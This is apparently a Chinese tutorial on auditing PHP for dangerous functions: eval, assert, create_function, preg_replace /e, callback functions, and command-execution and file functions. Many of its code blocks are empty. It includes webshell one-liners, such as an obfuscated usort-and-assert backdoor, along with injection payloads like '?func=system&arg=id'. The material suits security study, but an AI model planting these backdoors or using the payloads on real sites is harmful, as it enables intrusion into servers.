PHP代码审计-弱类型
php危险函数总结
什么是危险函数
函数设计出来就是让人使用的,之所以危险,是因为其功能过于强大。开发人员特别是刚从业的人员很少很少会完整阅读整个文档,再或者是没有意识到当给这些函数传递一些非常规的,外部可控的参数会带来什么影响。
执行任意代码的函数
- eval函数
- assert函数
- create_function 函数
- preg_replace 函数
- call_user_func/call_user_func_array函数
- array_map函数
- array_filter函数
- usort/uasort函数
- $a($b)动态函数
eval函数
eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
**注释:**return 语句会立即终止对字符串的计算。
**提示:**该函数对于在数据库文本字段中供日后计算而进行的代码存储很有用。
1 |
|
简单的一句话木马:
assert函数
assert——检测一个 断言是否为FALSE
如果参数为字符串,它将会被assert()当做php代码来执行
版本只能为:5.x
1 |
|
如果我们提交?func=fo,即可写入shell.php
create_function函数
create_function(string $args, string $code)
适用范围:PHP 4> = 4.0.1,PHP 5,PHP 7
功能:根据传递的参数创建匿名函数,并为其返回唯一名称。
1 |
|
payload:
1 | ?id=;}phpinfo();/* |

preg_replace函数
执行一个正则表达式的搜索和替换,搜索 subject 中匹配 pattern 的部分,以 replacement 进行替换。
preg_replace($pattern,$replacement,$subject,$limit,$count)
看个例子1-双引号
1 | echo "{${phpinfo()}}"; |

单引号
1 |
|

为什么呢? 在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。 注意:双引号中的函数不会被执行和替换。
这其实是可变变量的原因
我们在看一个例子2
1 |
|
特别说明: /e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
那我们知道 preg_replace 的 /e 修正符会将 replacement 参数当作 php 代码,并且以 eval 函数的方式执行,前提是 subject 中有 pattern 的匹配。
那么现在我来总结一下:要想漏洞产生要满足的额条件
1./e修饰符必不可少
2.你必须让 subject 中有 pattern 的匹配。
3.可能跟php版本有关系
4.满足可变变量的条件:也就是双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果比如说 ‘strtolower(“\1”)’
call_user_func/call_user_func_array函数
call_user_func($callback,$parameter)
调用一个回调函数处理字符串,
call_user_func_array($callback,$param arr)
利用回调函数处理数组。
1 | <>php |
一句话木马:
1 |
|
array_map函数
array_map($callback,$array1)
作用是为数组的每个元素应用回调函数 。其返回值为数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。
1 |
|

array_filter函数
array_filter() 函数用回调函数过滤数组中的元素。
该函数把输入数组中的每个键值传给回调函数。如果回调函数返回 true,则把输入数组中的当前键值返回给结果数组。数组键名保持不变。
语法:array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
1 |
|
usort/uasort函数
usort
使用用户自定义的比较函数对数组中的值进行排序
1 | usort ( array &$array , callable $value_compare_func ) : bool |
本函数将用用户自定义的比较函数对一个数组中的值进行排序。 如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数。
例子:
1 |
|
结果:0: 1 1: 2 2: 3 3: 5 4: 6
…运算符,三个点,该运算符可以将数组(必须是索引数组)或者可遍历的对象展开变为参数
编写一句话
先放出最终的代码
1 | usort(...$_GET); |
那么$_GET变量中的值,应该是
1 | [['$a=0','eval($_POST["x"])'],'assert']; |
$_GET[0]是usort的第一个参数
$_GET[1]是usort的回调函数名
也就相当于
1 | usort(['$a=0','eval($_POST["x"])'],'assert'); |
最终利用是这样的
1 | ?1[]=0&1[]=eval($_POST['x'])&2=assert |
上面的一句话,只能在php环境>=5.6才能用
于是更新下,环境>=<5.6都可以的一句话
1 | usort($_GET,'asse'.'rt'); |
uasort()
uasort — 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联
官方示例:
1 |
|
执行结果:
1 | Array ( [a] => 4 [b] => 8 [c] => -1 [d] => -9 [e] => 2 [f] => 5 [g] => 3 [h] => -4 ) |
一句话利用代码
1 |
|
$a$b动态函数
1 | $action = $_GET['func']; |
攻击原理:
- 攻击者控制
func参数指定函数名 - 传入系统命令执行函数触发RCE
攻击Payload:
1 | ?func=system&arg=id |
读取网络资源的函数
常见的php读取远程文件的方式
Fopen()
1 |
|
file_get_content()
file_get_contents() 函数的另一个强大之处在于可以用于发起 HTTP 请求,获取远程资源的内容
1 | $url = 'https://www.example.com'; |
curl
php命令执行函数
1,system函数
system():执行外部程序,并且返回输出
2,shell_exec(没有回显的命令执行)
shell_exec():通过shell环境,并且将完整的输出以字符串方式返回
3,passthru函数
执行外部程序并且显示原始输出
4,exec函数
exec():执行一个外部程序
4,ob_start函数
操作文件的函数
Copy()
copy() 函数拷贝文件
语法:copy(source,destination)
1 |
|
File_get_contents()/File_put_contents
file_get_contents() 把整个文件读入一个字符串中。
语法:file_get_contents(path,include_path,context,start,max_length)
1 |
|
file_put_contents() 函数把一个字符串写入文件中。
语法:file_get_contents(path,include_path,context,start,max_length)
1 |
|
file_put_contents() 函数把一个字符串写入文件中。
语法:int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )
1 |
|
File()
file() 函数把整个文件读入一个数组中。
数组中的每个元素都是文件中相应的一行,包括换行符在内
语法:file(path,include_path,context)
1 |
|
Fopen()
open() 函数打开一个文件或 URL。
如果 fopen() 失败,它将返回 FALSE 并附带错误信息。您可以通过在函数名前面添加一个 ‘@’ 来隐藏错误输出。
语法:fopen(filename,mode,include_path,context)
1 |
|
Move_uploaded_file()
move_uploaded_file() 函数把上传的文件移动到新位置。
如果成功该函数返回 TRUE,如果失败则返回 FALSE。
语法:move_uploaded_file(file,newloc)
Readfile()
readfile() 函数读取一个文件,并写入到输出缓冲。
语法:readfile(filename,include_path,context)
1 |
|
Rename()
rename() 函数重命名文件或目录。
如果成功,该函数返回 TRUE。如果失败,则返回 FALSE。
语法:rename(oldname,newname,context)
Unlink()
unlink() 函数删除文件。
如果成功,该函数返回 TRUE。如果失败,则返回 FALSE。
语法:unlink(filename,context)
1 |
|